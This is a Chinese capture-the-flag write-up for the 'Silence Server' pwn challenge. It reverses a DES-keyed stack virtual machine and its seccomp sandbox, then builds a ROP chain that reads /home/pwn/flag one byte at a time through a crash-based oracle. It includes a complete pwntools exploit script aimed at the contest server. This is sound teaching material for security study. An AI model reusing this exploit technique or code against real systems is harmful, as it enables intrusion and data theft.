CTF2017 第九题 Silence Server
前言
这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,附赠一篇
体会到几个工具的便利
学到几个 pwn 关键词
- ROP 就是复写函数返回堆栈之后一系列的堆栈内容的集合
- gadget 就是在所有已确认的二进制文件中可利用的代码片段
在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)
这题"可谓集大成也",我会分 反汇编、pwn 两大部分阐明
反汇编
主函数
主函数流程比较简单,就不贴代码了
- 设置 seccomp 规则(后详)
- 获取 虚拟机指令码
- 执行 虚拟机
获取虚拟机指令码
- 一上来就要解个8元线性方程组,用 python 写个
import numpy as np
a = np.array([
[30971, 31063, 18211, 23911, 20327, 20921, 20149, 17477],
[20051, 20359, 16699, 31121, 20641, 23633, 29759, 25111],
[25943, 27073, 25561, 23333, 26099, 17291, 27457, 30839],
[29873, 18313, 29167, 25411, 32191, 18959, 19079, 16879],
[16607, 29437, 19469, 32441, 28859, 20509, 23581, 26849],
[16823, 19927, 26161, 18869, 19973, 26981, 17431, 26633],
[26821, 19073, 28349, 30577, 25793, 22091, 31397, 26947],
[25339, 17737, 30817, 26183, 29629, 22691, 27793, 19447]
])
b = np.array([14985352, 14962906, 16361024, 14982624, 16152948, 14720714, 16722910, 15883204])
r = np.linalg.solve(a,b)
print str(bytearray(np.rint(r).astype(np.uint8))).encode("hex")
- 解出 key 为 3378704c30723352
- 根据 图2 画框几处特征辨析为 des 的 set_key 过程
- 记录坑点,之前我并没有仔细看 des_cbc 函数内的算法,就拿普通的 des_ecb 做了测试,发现解密的结果不对,然后就偷懒直接改函数最后一个参数(mode 0解密,1加密)让程序帮我生成密文,直到后面实在需要自动生成 payload 之后才回过头看这个
- 根据 图1 和 图3 几处特征,①加密函数需要比 ecb 多传一个参数 IV,并且 IV 就是 key 本身,②加密时先用 IV 与 明文 异或,再用结果加密符合 cbc 特点
执行虚拟机
该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。
这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)
指令码(10) | 描述 | 操作 | 栈顶变动 |
---|
16 | 正数加法 | [bufp-1] = [bufp] + [bufp-1] | bufp-- |
17 | 正数减法(差也要是正数) | [bufp-1] = [bufp] - [bufp-1] | bufp-- |
18 | 正数乘法 | [bufp-1] = [bufp] * [bufp-1] | bufp-- |
19 | 正数除法 | [bufp-1]...[bufp] = [bufp] / [bufp-1] | |
20 | 取值(栈顶原值 buf 偏移) | [bufp] = buf[[bufp]] | |
21 | 赋值(栈顶 buf 偏移,赋栈次值) | buf[[bufp]] = [bufp-1] | bufp-=2 |
22 | PUSH(8字节立即数参数) | [bufp+1] = ipt | bufp++ |
23 | 负号变换(用不了) | | |
24 | 负号加法(用不了) | | |
25 | 负号减法(用不了) | | |
26 | 小于比较 | ok = [bufp] < [bufp-1] | bufp-=2 |
27 | jmp 跳转(栈顶 代码偏移) | ip += [bufp] | bufp-- |
28 | jge 跳转(根据 ok 结果) | ip += [bufp] | bufp-- |
29 | nop | | |
30 | jl 跳转(根据 ok 结果) | ip += [bufp] | bufp-- |
31 | exit | | |
有几个坑点要注意
- 指令结束,栈空则崩溃(bufp == buf)
- 指令完整执行完,也崩溃,一定要用 exit 退出
反汇编总结
我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROP
PWN
函数安全扫描
看到 dalao 们一开始都会做这个,学习一下 ./checksec.sh --file Silence_Server
RELRO | STACK CANARY | NX | PIE | RPATH | RUNPATH | FILE |
---|
Full RELRO | Canary found | NX enabled | PIE enabled | No RPATH | No RUNPATH | Silence_Server |
- Full RELRO + PIE enabled = 有 ASLR
- Canary found = 函数有堆栈保护
- NX enabled = 堆栈代码不可执行
seccomp
seccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么
void seccompinit()
{
LODWORD(ctx) = seccomp_init(0LL);
if ( !ctx )
{
LODWORD(v0) = 0;
BUG();
}
ctx_ = ctx;
seccomp_arch_add(ctx, 0xC000003ELL); // SCMP_ARCH_X86_64
allow_syscall(ctx_, 0); // sys_read
allow_syscall(ctx_, 2u); // sys_open
allow_syscall(ctx_, 3u); // sys_close
allow_syscall(ctx_, 4u); // sys_newstat
allow_syscall(ctx_, 5u); // sys_newfstat
allow_syscall(ctx_, 6u); // sys_newlstat
allow_syscall(ctx_, 7u); // sys_poll
allow_syscall(ctx_, 8u); // sys_lseek
allow_syscall(ctx_, 12u); // sys_brk
allow_syscall(ctx_, 59u); // stub_execve
seccomp_load(ctx_);
}
记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system("/bin/sh")
了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试 execve("/bin/sh",0,0)
也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码
尝试绕过 seccomp
- 因为没有 write 的 syscall,这个规则下无法输出任何东西,我在想能不能尝试绕过呢
- 在还是在不知道 seccomp 多强的情况下,我尝试自己调用 seccomp_release/seccomp_reset 等,都无法去除已调用 seccomp_load 被内核载入的规则
- 搜到网上的一篇文章,里面提到用 retf 切换 cpu 成32位可以绕过过为64位写的规则,但文章里的题目堆栈是可执行 shellcode 的,也许这条路能走通,我没有深入
柳暗花明
我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?
程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag
,提示了我这题应该要用 open 直接 read 内容
突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果
ROP 构思
- open 是可以使用的 syscall,我可以操控堆栈,把文件名用堆栈传给 open
- read 也可以使用,我可以在内存映射中找一块固定的可写的区域,存放读出文件内容
- 记录坑点,之前我为了找 open 的返回(rax)转成 read 的参数(rdi),花了很久时间,结果突然想到,open 返回的是从 0 开始的数字,0/1/2 被系统内定成 标准输入输出 了,从 3 开始就能够被程序自身使用,一般情况下,就是 3 (这里考试要考)
- 可以用 memcmp,文件内容的处字符和我指定位置的字符(可以随意找个有指定字符的地址,不用自己输入,很多地方都有)
- 最后判断 memcmp 的结果,不一样就退出程序,一样就继续程序的执行
gadget 寻找
从构思看我们需要
从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索
pop rdi; ret
(5F C3) Silence_Server +0xfe3pop rsi; ret
(5E C3) libc.so +0x21747pop rdx; ret
(5A C3) libcs.so +0xba6c0
在 libc.so +0x1726C0 有个 0-255 的表
- 需要一个判断 rax 假就退出的地方,这个地方就很完美
- 顺便附上 虚拟机运行 的堆栈图,其他的代码里再详细解释
获取代码
因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行
from Crypto.Cipher import DES
import struct
import time
import sys
def enc(s):
key = "3378704c30723352".decode("hex")
des = DES.new(key, mode=DES.MODE_CBC, IV=key)
return des.encrypt(s)
def savebase(ori, diff, dst):
r = chr(22) + struct.pack("<Q", diff)
# ↑压入地址与基址的偏移,作为减法的减数
r += chr(22) + struct.pack("<Q", ori)
r += chr(20)
# 从 buf[ori] 获取值压入被减数,一般获取的是 ASLR 当前地址
r += chr(17)
# 减完以后栈顶就成了想保存的 ASLR 当前基址了
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 把基址存入 buf[dst] 的地方
return r
def savelibc():
# 调用堆栈中 __libc_start_main 返回地址在 buf[1013] 处
# 相对 libc.so 地址为 0x21B35,拿到基址存在 buf[999]
return savebase(1013, 0x21B35, 999)
def saveexe():
# 调用堆栈中 虚拟机执行 返回地址在 buf[1009] 处
# 相对 Silence_Server 地址为 0xa4c,拿到基址存在 buf[998]
return savebase(1009, 0xa4c, 998)
def saversp():
# buf[1015] 存了一个堆栈地址可以被利用
# 存的地址相对于 __libc_start_main 返回地址为 28*8(可以用 gdb 在启动时看到)
# 所以相对于 buf 的偏移就为 (1013 + 28)*8,拿到 buf地址 存在 buf[997]
return savebase(1015, (1013 + 28)*8, 997)
def pushaddr(solt, diff, dst):
r = chr(22) + struct.pack("<Q", diff)
# ↑压入地址与基址的偏移,作为加法的加数
r += chr(22) + struct.pack("<Q", solt)
r += chr(20)
# 从 buf[solt] 获取值压入另一加数,一般获取的是 ASLR 当前基址
r += chr(16)
# 加完以后栈顶就成了想使用的 ASLR 当前地址了
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 把地址存入 buf[dst] 的地方
return r
def pushlibc(diff, dst):
# 取出 libc.so 偏移后地址到 buf[dst]
return pushaddr(999, diff, dst)
def pushexe(diff, dst):
# 取出 Silence_Server 偏移后地址到 buf[dst]
return pushaddr(998, diff, dst)
def pushrsp(diff, dst):
# 取出 buf 偏移后地址到 buf[dst],和上面不同的是 diff 是按 buf 索引传入的
return pushaddr(997, diff*8, dst)
def pushim(im, dst):
r = chr(22) + struct.pack("<Q", im)
# ↑压入立即数到栈顶(只能是正数)
r += chr(22) + struct.pack("<Q", dst)
r += chr(21)
# 将立即数保存到 buf[dst]
return r
def setp0(dst):
# gadget: pop rdi;ret 在 Silence_Server 偏移 0xfe3 的地方
# 可以把下一个堆栈传入第一个参数
return pushexe(0xfe3, dst)
def setp1(dst):
# gadget: pop rsi;ret 在 libc.so 偏移 0x21747 的地方
# 可以把下一个堆栈传入第二个参数
return pushlibc(0x21747, dst)
def setp2(dst):
# gadget: pop rdx;ret 在 libcs.so 偏移 0xba6c0 的地方
# 可以把下一个堆栈传入第三个参数
return pushlibc(0xba6c0, dst)
def makerop(idx, cc):
# 返回地址在 buf[1009]
pos = 1009
# 保存所有基址
rop = savelibc()
rop += saveexe()
rop += saversp()
# 构建ROP
rop += setp0(pos); pos += 1
rop += pushrsp(1009 + 6, pos); pos += 1
# ↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名
rop += setp1(pos); pos += 1
rop += pushim(0, pos); pos += 1
# 第二个参数传只读打开(0)
rop += pushlibc(0xE8A09, pos); pos += 1
# 调用 __open_nocancel,在 libc.so 偏移 0xE8A09
rop += pushexe(0xFE0, pos); pos += 1
# gadget: pop r14;pop r15;ret 清除后两个堆栈,在 Silence_Server 偏移 0xFE0
#/home/pwn/flag 拆分成2部分 /home/pw n/flag\0\0
rop += pushim(long("/home/pw"[::-1].encode("hex"), 16), pos); pos += 1
rop += pushim(long("n/flag\0\0"[::-1].encode("hex"), 16), pos); pos += 1
rop += setp0(pos); pos += 1
rop += pushim(3, pos); pos += 1
# 第一个参数文件号,这个程序之前没文件打开一般都是 3
rop += setp1(pos); pos += 1
rop += pushexe(0x207800, pos); pos += 1
# 第二个参数读出缓存,我选了 Silence_Server 偏移 0x207800 的地方
# 这个地方属于 data 段可写,因为是对齐部分,程序自身不可能用到
rop += setp2(pos); pos += 1
rop += pushim(64, pos); pos += 1
# 第三个参数读取字节数,64字节就够了
rop += pushlibc(0xE8BF9, pos); pos += 1
# 调用 __read_nocancel,在 libc.so 偏移 0xE8BF9
rop += setp0(pos); pos += 1
rop += pushexe(0x207800 + idx, pos); pos += 1
# 第一个参数待比较地址1,我传入的是读入内容的 idx 偏移,也就现在测第几个字符了
rop += setp1(pos); pos += 1
rop += pushlibc(0x1726C0 + cc, pos); pos += 1
# 第二个参数待比较地址2,在 libc.so 偏移 0x1726C0 的地方有个 0-255 的表可以利用
rop += setp2(pos); pos += 1
rop += pushim(1, pos); pos += 1
# 第三个参数比较字节数,就比较一个字符
rop += pushlibc(0x890C0, pos); pos += 1
# 调用 __memcmp_sse2,在 libc.so 偏移 0x890C0
rop += pushexe(0xBB4, pos); pos += 1
# gadget: Silence_Server 偏移 0xBB4 的地方有个返回值 rax 判断
# 可以利用成字符不相等程序发生写0崩溃
rop += pushim(0, pos); pos += 1
# 上面的函数返回前有个 rsp+8 的操作
rop += pushexe(0xA36, pos); pos += 1
# 如果字符相等,又返回 main 中调用 获取输入 的地方
# 主要是为了使用里面的 read 函数
rop += pushim(0, pos); pos += 1
# 上面的函数需要 rsp+4 保存返回长度,其实这条没有也可以
rop += chr(22) + struct.pack("<Q", 0)
# 虚拟机执行完毕后必须栈不能空,要不崩溃
rop += chr(31)
# 虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼)
# 补充 nop 指令至8字节对齐,获取输入部分是 单位长度*8 的
roplen = len(rop)
for _ in xrange((roplen +7)/8*8 - roplen):
rop += chr(29)
return len(rop)/8, enc(rop)
def test(net, ss, ee):
ret = ""
import pwn
for ii in xrange(ss, ee):
ok = False
for cc in xrange(0x7F, -1, -1): #小写字母多的话,从后面会快
if cc != 0 and cc <= 0x20:
# 跳过不可见
continue
roplen, rop = makerop(ii, cc)
if net:
p = pwn.remote("211.159.216.90", 51888)
else:
p = pwn.process("/root/Silence_Server")
time.sleep(0.5)
p.send(chr(roplen)) # 输入单位长度
time.sleep(0.5)
p.send("3378704c30723352".decode("hex")) # 输入 des 密码
time.sleep(1)
p.send(rop) # 发送 rop
time.sleep(1)
ok = True
try:
p.send(chr(1))
time.sleep(1)
p.send(chr(1)) # 一般要第二次发送才会触发网络异常
except:
ok = False
if ok:
if cc == 0:
# 比较到字符串末尾 0 结束
print "finish"
print ret
sys.exit(0)
else:
# 打印该位置成功的字符
print ii, chr(cc)
ret += chr(cc)
break
if not ok:
# 如果一个字符都没比较成功肯定出问题了
print "what?"
sys.exit(0)
print ret
test(True, int(sys.argv[1]), int(sys.argv[2]))
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界